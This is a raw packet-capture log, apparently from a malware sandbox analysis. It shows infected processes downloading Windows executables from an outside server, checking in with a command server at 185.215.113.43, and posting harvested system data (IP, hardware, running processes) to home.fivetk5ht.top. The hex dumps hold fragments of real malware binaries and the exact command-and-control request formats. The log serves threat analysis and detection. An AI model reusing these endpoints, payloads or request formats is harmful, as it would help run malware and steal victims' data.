Dec 20, 2024 13:12:21.293360949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:21 GMT Content-Type: application/octet-stream Content-Length: 4480512 Last-Modified: Fri, 20 Dec 2024 11:40:12 GMT Connection: keep-alive ETag: "6765579c-445e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 30 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c9 00 00 04 00 00 ea 70 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 12 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 12 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv20pH@`pD@ _pts`t PtL(@.rsrc`t\(@.idata pt^(@ 8t`(@bxszsxlr@b(@ezgbzeah 8D@.taggant00"<D@
Dec 20, 2024 13:12:21.293389082 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:21.293395996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:21.293442965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:21.293462038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:21.293514967 CET	672	IN	Data Raw: 87 65 5d b0 88 b2 c6 74 ac f5 bc 81 12 c2 84 dd 5e 9c 24 3c 12 39 5e 83 bc db 6e 17 0a 70 7d 8e 68 73 b4 56 0b 29 fe 7d 83 f5 6a ff 2f f8 04 9e 45 37 56 2e 94 1d bc 8a 9a 4a f4 26 d7 37 3c 0f 58 88 15 ed 2f b4 85 f7 60 83 4d 46 2a 14 b8 8c 43 62 Data Ascii: e]t^$<9^np}hsV)}j/E7V.J&7<X/`MFCb]ET@>`/!m7b.b[.yL''[;!g(+o/(DO<lwHK5K}(v:T.t;Ab2Y;TU9xg\
Dec 20, 2024 13:12:21.295705080 CET	1236	IN	Data Raw: 6f 0a fd 6c 4a cd 1a 0b 6f 71 b5 dd f5 5a 0d 5a 33 97 a6 be b5 3d be 02 1b c5 a2 b7 08 02 41 ff 24 9d 59 e3 32 25 dc 55 71 03 4c 2d e1 f8 ea 2f a9 b8 4c 55 80 01 85 8f 40 70 76 dc 0c 95 bc 6d ba ed 24 00 17 cf 8c fa dc ff 30 27 e9 00 ac 54 91 b9 Data Ascii: olJoqZZ3=A$Y2%UqL-/LU@pvm$0'Tz"RJ!@y>?xcS~?=:QK0<KPk2vJfMjR/2D8@5q@u\|z{9D>9]\|xto"~9ae_
Dec 20, 2024 13:12:21.295742035 CET	224	IN	Data Raw: f5 5d 21 46 30 1c 64 3c 85 1d 40 55 bf 3f 7f 12 f5 95 a2 aa ad 20 90 fe 40 ff 8e 2f be ae f6 44 a0 7f a1 55 bc 8b c6 f9 97 61 40 5c 51 f7 4b 42 b3 96 04 45 d6 f8 63 d9 e2 de c3 52 8b 83 92 2a 35 fa e8 ed e4 d3 3f ab 58 26 4d 99 44 68 b9 04 38 1c Data Ascii: ]!F0d<@U? @/DUa@\QKBEcR*5?X&MDh8r%^(ML^t(`fL%5N)r,>/18U>H`%MIPY."<1;]iETb[D{56O9=$o25
Dec 20, 2024 13:12:21.295754910 CET	1236	IN	Data Raw: f2 7f a7 72 b4 53 99 be da ef 34 d0 af 14 9e cf f9 02 9d de f6 3e 21 fe a6 3f 59 2c 4a 99 ec 32 ff de c2 de 15 b7 05 fb 25 0d cf 31 a3 cf a7 79 3a 2e 27 74 d6 6d f7 61 85 01 ce 86 4b c1 41 a9 f8 19 ad 79 3c d1 ba 03 35 05 ee 2e 9c e5 50 f4 41 a5 Data Ascii: rS4>!?Y,J2%1y:.'tmaKAy<5.PAKx`6,q]fc:d>O\Ge)5g7-HhV;j=6)5N@>1-4fz+tP[7Z~NaLFx0\
Dec 20, 2024 13:12:21.295800924 CET	224	IN	Data Raw: 76 71 b9 ab dd e7 83 b6 32 61 65 10 1d 8d a4 55 0e 4a bb e8 e0 1b c5 47 04 8d 81 18 83 c9 c1 d7 35 77 ec 98 ee a4 da b3 80 3b 02 a1 70 9d c0 ac 7c 19 cb f4 ed ef 27 eb 08 20 10 73 14 4e 1c ab 74 fc d6 79 06 dd 5f db 8c f4 44 3c 9c f7 21 3a 29 ca Data Ascii: vq2aeUJG5w;p\|' sNty_D<!:)AS&7T^EoCaRT%)V?A4`_"K@uJ\|wF-6Db {\|TBq7m#@`>924Qt4
Dec 20, 2024 13:12:21.413361073 CET	1236	IN	Data Raw: 15 a8 af a8 9b e2 4a f6 dc ef c1 3a 2c f2 30 c7 88 ef cb 8e b2 91 6f ed 42 d2 ce 76 9b c5 c0 d3 5a 63 75 c8 37 05 e9 f6 2c f5 5d 0c 42 00 6a af a9 67 f6 5e a3 2d ba aa d5 8a fa 69 af 9f a6 75 46 64 04 ff 2b 4b b8 96 2f 6d c8 82 67 0c ed de c4 66 Data Ascii: J:,0oBvZcu7,]Bjg^-iuFd+K/mgf8&mFueO tkQ",a&kJdnn.am\5^M'[h:F,dzhe\_&:jm8TN#lL*pC I{bw)K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49890	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:30.816170931 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 35 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018507001&unit=246122658369
Dec 20, 2024 13:12:32.160728931 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49893	31.41.244.11	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:32.288530111 CET	61	OUT	GET /files/bckosq/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 13:12:33.612844944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 12:12:33 GMT Content-Type: application/octet-stream Content-Length: 810496 Last-Modified: Thu, 19 Dec 2024 19:41:56 GMT Connection: keep-alive ETag: "67647704-c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 fa bb 5e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 66 02 00 00 d4 00 00 00 00 00 00 12 c3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 06 03 00 50 00 00 00 00 70 03 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 cb 02 00 18 00 00 00 f8 8f 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 60 08 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL^g"f@@Ppxx`\|.textmdf `.rdatan@@.data,% @.CODEP `.tls`0@.rsrcp2@@.relocx4@B.bssR@.bss0@
Dec 20, 2024 13:12:33.612881899 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:33.612917900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 13:12:33.612972021 CET	1236	IN	Data Raw: 8b 4c 24 30 8b 44 24 34 29 f1 19 d0 0f 8c 16 00 00 00 e9 00 00 00 00 31 c0 89 c1 89 4c 24 20 89 44 24 24 e9 2c 00 00 00 8b 4d 08 8b 01 8b 40 04 01 c1 e8 8c 13 00 00 89 c1 89 d0 8b 74 24 30 8b 54 24 34 29 f1 19 d0 89 4c 24 20 89 44 24 24 e9 00 00 Data Ascii: L$0D$4)1L$ D$$,M@t$0T$4)L$ D$$L$ D$$L$(D$,EL$<$pL$<D$8D$8M@%@L$(D$,M@D$M@
Dec 20, 2024 13:12:33.613070011 CET	1236	IN	Data Raw: 89 e5 83 ec 10 8b 45 0c 8b 45 08 89 4d fc 8b 4d fc 89 4d f8 8b 45 0c 8b 55 08 89 14 24 89 44 24 04 e8 f9 70 00 00 83 ec 08 8b 45 f8 83 c4 10 5d c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 2c a1 40 28 43 00 31 e8 89 45 fc 89 4d e8 Data Ascii: EEMMMEU$D$pE]U,@(C1EMMMr$E@EE9$EM@EME1$D$D$D$EEEMMH
Dec 20, 2024 13:12:33.613105059 CET	672	IN	Data Raw: ff ff a8 01 0f 85 05 00 00 00 e9 10 00 00 00 8b 45 f4 8b 00 89 04 24 e8 0f 00 00 00 89 45 f8 8b 45 f8 83 c4 10 5d c3 cc cc cc cc 55 89 e5 8b 45 08 8b 45 08 5d c3 cc cc cc cc cc 55 89 e5 83 ec 08 89 4d fc 8b 4d fc 89 4d f8 e8 5c fe ff ff 8b 4d f8 Data Ascii: E$EE]UEE]UMMM\ME]U@EE@(C1EMMMMEEE9aMiE0BEEM0B$D$U}RMEHE@
Dec 20, 2024 13:12:33.613460064 CET	1236	IN	Data Raw: e8 e8 75 fb ff ff 89 04 24 e8 ed 01 00 00 89 45 f8 c7 45 f4 10 00 00 00 8d 4d f8 8d 45 f4 89 0c 24 89 44 24 04 e8 e1 01 00 00 8b 00 89 45 e4 8b 45 e4 83 e8 01 89 45 f0 e8 4e 02 00 00 89 45 ec 8d 4d ec 8d 45 f0 89 0c 24 89 44 24 04 e8 f9 01 00 00 Data Ascii: u$EEME$D$EEENEME$D$EM1pE(]UPB$cyUPEEME]UEEEUME$L$D$eE]UE
Dec 20, 2024 13:12:33.613833904 CET	1236	IN	Data Raw: 89 08 83 c4 0c 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 14 8b 45 08 89 4d fc 8b 45 fc 89 45 f8 8d 0d 38 81 42 00 89 08 83 c0 04 31 c9 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 08 00 00 00 e8 99 c3 00 00 8b 45 f8 83 Data Ascii: ]UEMEE8B1$D$D$EM$D$XE]UPMM]UEMMME$D$EB]UEMMMMEE
Dec 20, 2024 13:12:33.613866091 CET	448	IN	Data Raw: 8b 75 08 8b 01 8b 40 24 89 e2 89 5a 08 89 7a 04 89 32 ff d0 8d 65 f4 5e 5f 5b 5d c2 0c 00 cc cc cc cc cc 55 89 e5 83 e4 f8 83 ec 18 8b 55 08 8b 45 0c 89 54 24 10 89 44 24 14 89 4c 24 0c 8b 44 24 0c f2 0f 10 40 20 f2 0f 11 04 24 f2 0f 10 44 24 10 Data Ascii: u@$Zz2e^_[]UUET$D$L$D$@ $D$@ $T$]UEU$EMMMEEMEU$$D$o]UMEEC4$EEE!
Dec 20, 2024 13:12:33.614609957 CET	1236	IN	Data Raw: ec 00 0f 84 74 00 00 00 8b 45 e4 8d 4d f4 89 04 24 e8 1d fc ff ff 83 ec 04 8d 4d f4 e8 c2 fc ff ff a8 01 0f 85 05 00 00 00 e9 46 00 00 00 c7 45 e8 00 00 00 00 8b 4d ec e8 76 00 00 00 83 f8 ff 0f 85 09 00 00 00 8b 45 e8 83 c8 04 89 45 e8 8b 4d e4 Data Ascii: tEM$MFEMvEEM@E1$D$BMM1dE$]UPME@]UPMMP4]UMEE@ 8E@
Dec 20, 2024 13:12:33.734597921 CET	1236	IN	Data Raw: 89 e5 50 a1 84 35 43 00 8b 15 a8 35 43 00 64 8b 0d 2c 00 00 00 8b 0c 91 8b 89 04 00 00 00 39 c8 0f 8e 37 00 00 00 8d 05 84 35 43 00 89 04 24 e8 83 60 00 00 83 3d 84 35 43 00 ff 0f 85 1c 00 00 00 8d 05 70 2e 40 00 89 04 24 e8 1d 61 00 00 8d 05 84 Data Ascii: P5C5Cd,975C$`=5Cp.@$a5C$`p&C]Up&Cr]UEMMMMEEPEE$_E]UPMB]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49906	185.121.15.192	80	8120	C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:36.170089960 CET	12360	OUT	POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1 Host: home.fivetk5ht.top Accept: / Content-Type: application/json Content-Length: 497697 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 39 36 37 35 32 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734696752", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 20, 2024 13:12:36.290082932 CET	2472	OUT	Data Raw: 35 49 44 66 46 77 63 6b 63 65 4f 74 4f 5c 2f 77 44 5a 76 43 78 71 71 5c 2f 38 41 77 52 6f 5c 2f 59 37 77 43 4a 5c 2f 69 2b 4d 67 39 50 48 4f 6b 39 74 33 39 37 77 69 66 53 76 35 79 58 30 35 66 43 5a 5c 2f 38 41 4e 4f 2b 49 76 5c 2f 68 70 34 5a 39 Data Ascii: 5IDfFwckceOtO\/wDZvCxqq\/8AwRo\/Y7wCJ\/i+Mg9PHOk9t397wifSv5yX05fCZ\/8ANO+Iv\/hp4Z9f+iu8z+rf+Kc3jd\/0VPhX\/wCHvi7\/AOgc\/lGqOTt+P9K\/cb9p3\/glroOg6B8SdW\/Z2l8Ralqnwx8W22nXXhbxDqMer6t4k8P3fw38A+MJp9OuYLOwhfWdP1HxJqixWMVnF9v05beCEPqFsBqH4hzwT2s8t
Dec 20, 2024 13:12:36.290138006 CET	2472	OUT	Data Raw: 62 4a 47 66 6b 2b 66 44 6a 5c 2f 50 35 31 45 39 76 6e 2b 6a 4e 36 66 58 35 66 71 51 2b 5a 75 62 5a 5c 2f 47 66 38 41 6e 6d 66 39 64 6e 5c 2f 50 72 37 31 44 55 7a 62 35 43 38 66 61 54 36 5c 2f 75 66 70 31 5c 2f 7a 32 35 70 6e 58 66 38 6b 6d 5c 2f Data Ascii: bJGfk+fDj\/P51E9vn+jN6fX5fqQ+ZubZ\/Gf8Anmf9dn\/Pr71DUzb5C8faT6\/ufp1\/z25pnXf8km\/\/AJ5x+nP+c8VkdFPr8v1Kx2eY7j\/tnJGOff8Az9PpTYt8nk\/wJ\/0z4\/zn\/PFStmTen\/kP\/H6\/54qHH8H8fleVL+6\/5d\/89PTFdBoQ+Zu\/2xJF+9+0f5\/w9qFjn27x8\/mfupR\/y3\/zx2\/nT5N
Dec 20, 2024 13:12:36.290237904 CET	4944	OUT	Data Raw: 5c 2f 2b 75 61 7a 4e 44 39 79 48 2b 38 66 77 5c 2f 6b 4b 62 54 33 36 5c 2f 68 5c 2f 55 30 79 75 4c 6b 66 6c 5c 2f 58 79 50 38 6e 7a 39 64 50 32 49 50 45 64 33 50 38 46 39 52 30 5a 62 68 6d 74 4e 50 38 58 36 76 70 39 33 70 6b 2b 32 35 30 2b 39 74 Data Ascii: \/+uazND9yH+8fw\/kKbT36\/h\/U0yuLkfl\/XyP8nz9dP2IPEd3P8F9R0ZbhmtNP8X6vp93pk+250+9tprXS9WjW\/wBMuTPY3ts82oXKiG6tngdklzEx3u\/vuvfC34aeJfMkvfCy6JfSb3bUvBt0ugNJK3EfnaNLbal4ZS1i6m20nRdGllxg3iElq+Df2NvHWneEPBfxk1DWjc\/2T4Wg0XxXeC2SOSZLBbXWItUuIklkgj
Dec 20, 2024 13:12:36.290302992 CET	4944	OUT	Data Raw: 33 35 35 6f 4f 67 67 5c 2f 69 32 39 5c 2f 30 36 34 71 4c 59 66 62 5c 2f 41 44 2b 46 53 76 38 41 36 77 5c 2f 37 6f 5c 2f 70 52 51 42 58 71 50 79 5c 2f 66 39 50 38 41 36 39 57 58 36 66 6a 5c 2f 41 45 4e 52 55 48 56 53 36 66 34 66 38 69 71 5c 2f 33 Data Ascii: 355oOgg\/i29\/064qLYfb\/AD+FSv8A6w\/7o\/pRQBXqPy\/f9P8A69WX6fj\/AENRUHVS6f4f8iq\/3T+H8xULfLnPb0q55fv+n\/16joNivTH6fj\/Q09l7Ef59RUcnb8f6UHQR1H5fv+n\/ANepKKDWG3z\/AERVZd34VD\/6B\/n8On+cVc8v3\/T\/AOvVZo\/b5P5Af54xn3oOn3\/7v4kMi4+\/\/wAtPXtj\/P5Z9
Dec 20, 2024 13:12:36.290462017 CET	4944	OUT	Data Raw: 34 4f 6e 6d 64 48 44 55 73 64 67 61 6d 49 71 34 4b 56 65 46 47 47 50 77 63 71 6b 6c 48 45 30 58 50 38 41 51 50 52 6e 34 6a 4a 79 65 6d 50 58 6f 63 5c 2f 79 72 38 43 5c 2f 2b 43 6c 48 67 54 77 78 34 4a 5c 2f 61 4b 69 75 66 44 47 6d 4c 70 70 38 64 Data Ascii: 4OnmdHDUsdgamIq4KVeFGGPwcqklHE0XP8AQPRn4jJyemPXoc\/yr8C\/+ClHgTwx4J\/aKiufDGmLpp8deBtM8d+Io4nkaG68T6r4m8XaZqeoxRMxW3fUI9FtLu7jiwk2oS3d4R5t1IT+mel\/t3\/sp24QT\/FTZtz\/AMyP8R245\/u+EGr8rv2\/PjH8PvjZ8ZfDPif4Y67\/AMJL4d034YaJ4evNTOl63o3l61a+KfGepX
Dec 20, 2024 13:12:36.290498972 CET	2472	OUT	Data Raw: 2b 6e 2b 54 33 7a 39 6e 35 5c 2f 68 5c 2f 77 53 2b 64 2b 58 39 66 4d 68 6b 5a 32 4c 75 37 37 42 5c 2f 71 5c 2f 39 56 62 5a 5c 2f 77 41 5c 2f 70 5c 2f 56 6d 33 64 76 64 30 38 6c 35 50 38 5c 2f 54 76 6a 6e 2b 6c 50 53 4d 62 58 5c 2f 63 78 37 4d 66 Data Ascii: +n+T3z9n5\/h\/wS+d+X9fMhkZ2Lu77B\/q\/9VbZ\/wA\/p\/Vm3dvd08l5P8\/Tvjn+lPSMbX\/cx7Mfx\/Ti1\/6\/u9Mkz5j\/APtP9xB6fX361majI9nmHfnf\/qpf\/kr8P6UwSFvnR8v\/AM8\/+nfHpnr0p+5PnR3+SX7P\/wAtf\/Jr+nWofnXfsTy\/3f8Aq4\/+W3+ld\/0\/zzQdBDI25kRMv\/x8Y\/l\/nv8A
Dec 20, 2024 13:12:36.290563107 CET	2472	OUT	Data Raw: 2b 44 56 62 36 47 77 58 55 64 51 67 61 38 6c 73 39 4d 76 37 71 4f 33 45 6a 32 39 6e 63 79 68 49 48 35 58 51 66 69 42 34 5a 31 36 4b 37 61 44 57 4e 47 57 57 7a 31 6a 56 4e 44 6c 6a 54 56 62 64 31 6c 76 64 49 75 6d 74 4c 6f 32 76 6e 72 61 33 45 73 Data Ascii: +DVb6GwXUdQga8ls9Mv7qO3Ej29ncyhIH5XQfiB4Z16K7aDWNGWWz1jVNDljTVbd1lvdIumtLo2vnra3EsJlQmJntYZChUvFGxKD8Rwvg39HbB8XclDg\/hP\/WStg5ZpHK608TisB9Tp16dCWKoZDisVWyClGFepSp\/uMBCcJThaKUot\/0ZjPH36VOYcCuWI4+46\/1Rw2Pp5NUznD08Lgsz+v4nDYjE08FieJsHgsPxRXnW
Dec 20, 2024 13:12:36.410140038 CET	14832	OUT	Data Raw: 54 54 64 53 75 64 64 69 30 6e 56 74 4a 31 2b 79 30 54 78 4c 72 5c 2f 68 75 50 58 74 41 75 62 71 39 30 44 58 47 30 44 55 70 39 4e 66 57 4e 42 76 4c 32 78 30 79 38 75 74 46 31 4d 77 66 62 4e 4c 75 4c 76 54 72 47 35 6d 73 70 6f 5a 4c 69 7a 74 70 57 Data Ascii: TTdSuddi0nVtJ1+y0TxLr\/huPXtAubq90DXG0DUp9NfWNBvL2x0y8utF1MwfbNLuLvTrG5mspoZLiztpWeBPoMi434U4lqUaORZ5g8xr16GLxMMPS9rDExo4HEUcLi51sPWp062HdHEV6VKUK8KU3Kd4RklJr5XiTw4444QpYnEcScOY\/KsLhMTgMJVxdZUamDeIzTD4vFYCnQxmHrVsNivrFDAYycZ4WrWpw+r1IVJQmlF36
Dec 20, 2024 13:12:36.454205990 CET	27192	OUT	Data Raw: 48 67 66 34 46 66 43 67 2b 4f 66 68 31 38 59 66 67 33 34 4b 38 4d 5c 2f 44 6a 78 6e 63 5c 2f 42 5c 2f 34 58 33 50 6a 4c 77 54 65 2b 46 49 64 66 31 44 34 66 2b 4d 37 32 7a 74 42 34 6b 39 43 31 44 53 66 43 57 69 5c 2f 44 37 34 4e 65 46 50 67 33 38 Data Ascii: Hgf4FfCg+Ofh18Yfg34K8M\/Djxnc\/B\/4X3PjLwTe+FIdf1D4f+M72ztB4k9C1DSfCWi\/D74NeFPg38X\/hP8YtB1T9onWfiN8W7\/4Xa7feFbLwD4p0T4dP4P8ABfg\/QvhH8YdK+F37RXiTSNd8Mrrfinxv8Y7j4IaN8KrTWLjwj8PdF8V6p4j07UFu\/V5dO0+cu01hZzNJnzGltYJDJkYO8uhLZHB3ZyODWLZ+DPCuna
Dec 20, 2024 13:12:36.574208975 CET	7416	OUT	Data Raw: 44 77 56 70 6c 39 66 58 33 39 6a 32 6c 6a 71 58 69 6d 2b 67 4e 77 32 74 74 63 72 34 73 74 64 45 31 5c 2f 52 50 2b 58 47 58 68 70 6d 58 42 46 4b 6a 6e 50 69 66 6b 57 61 5a 4e 6c 74 61 65 47 5c 2f 73 72 43 31 58 47 4c 7a 76 32 74 48 46 59 6c 72 44 Data Ascii: DwVpl9fX39j2ljqXim+gNw2ttcr4stdE1\/RP+XGXhpmXBFKjnPifkWaZNltaeG\/srC1XGLzv2tHFYlrDzwsq8p03DDQhCcqmDw0lXdZ479wsLiv\/AEOcw+k5l\/jZi\/8AUL6KvF2ScS8Vzy3NcbxDnmJyvMsJR4LwWFx+RZVSx2IpcS4XJ6M0q+d1cRW+o4TiPMoSy6GAp8PuOZyznJvrf\/goF\/wVt\/YV+Avx1+FPws+
Dec 20, 2024 13:12:41.604980946 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 12:12:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 54 6d 55 57 77 6b 41 51 42 4b 58 58 54 57 54 45 31 37 33 34 36 39 36 37 35 38 Data Ascii: TmUWwkAQBKXXTWTE1734696758

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49911	185.215.113.43	80	7748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 13:12:37.555901051 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018508001&unit=246122658369
